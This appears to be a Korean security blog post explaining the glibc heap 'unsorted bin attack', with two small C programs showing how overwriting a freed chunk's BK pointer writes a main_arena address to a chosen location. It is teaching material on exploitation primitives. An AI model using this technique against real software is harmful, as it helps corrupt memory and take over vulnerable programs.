새소식

인기 검색어

Hacking/System

unsorted bin attack

  • -
반응형

unsorted bin attack

unosrted bin attack은 해제된 청크의 BK를 조작할 수 있을 때 임의 주소에 main_arena 영역의 주소를 쓸 수 있는 공격기법이다.

쓰이는 값은 특정 버퍼의 사이즈를 덮는 등 추가적인 공격은 연계하기 위해 사용된다.

unsorted bin은 fastbin과 다르게 청크를 처음 해제하면 FD와 BK에 main_arena주소가 쓰인다.

#include<stdio.h>
#include<stdlib.h>

int main()
{
        char *ptr = malloc(0x100);
        char *ptr1 = malloc(0x100);

        free(ptr);

        return 0;
}

free 했을 때 gdb로 보면 FD와 BK에 0x00007ffff7dd1b78 주소가 쓰인다. 이 주소를 보면 main_arena+88에 해당하는 주소이다.

이후 malloc을 호출하면 0x602000 주소에 힙을 재사용할 수 있다. 그래서 해당 포인터를 조작하면 원하는 주소 + 0x10 위치에 힙을 할당할 수 있다.

코드를 보면 victim은 unsorted_chunks(av)->bk이다. unsorted_chunks(av)는 매크로에 의하면 (char*)&main_arena.bins[0] - 0x10이다.

그래서 victim은 (char*)&main_arena.bins[0] -0x10 + 0x18이므로 main_arena.bins[1]이 된다.

따라서 bck를 수정할 수 있으면 원하는 주소에 main_arena영역의 주소를 쓸 수 있다.

#include<stdio.h>
#include<stdlib.h>

long target;

int main()
{
        fprintf(stderr, "target: 0x%lx\n", target);

        long *ptr = malloc(0x100);
        long *ptr2 = malloc(0x100);

        free(ptr);
        ptr[1] = (long)&target - 0x10;

        ptr = malloc(0x100);
        fprintf(stderr, "target: 0x%lx\n", target);


        return 0;
}

그래서 unsorted bin attack을 이용하면 target에 main_arena+88의 주소가 쓰이는 것을 확인할 수 있다.

 

반응형

'Hacking > System' 카테고리의 다른 글

Master Canary  (0) 2023.08.22
Calling Convention  (0) 2023.08.21
Unsafe unlink  (0) 2023.05.23
Double Free  (0) 2023.04.18
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.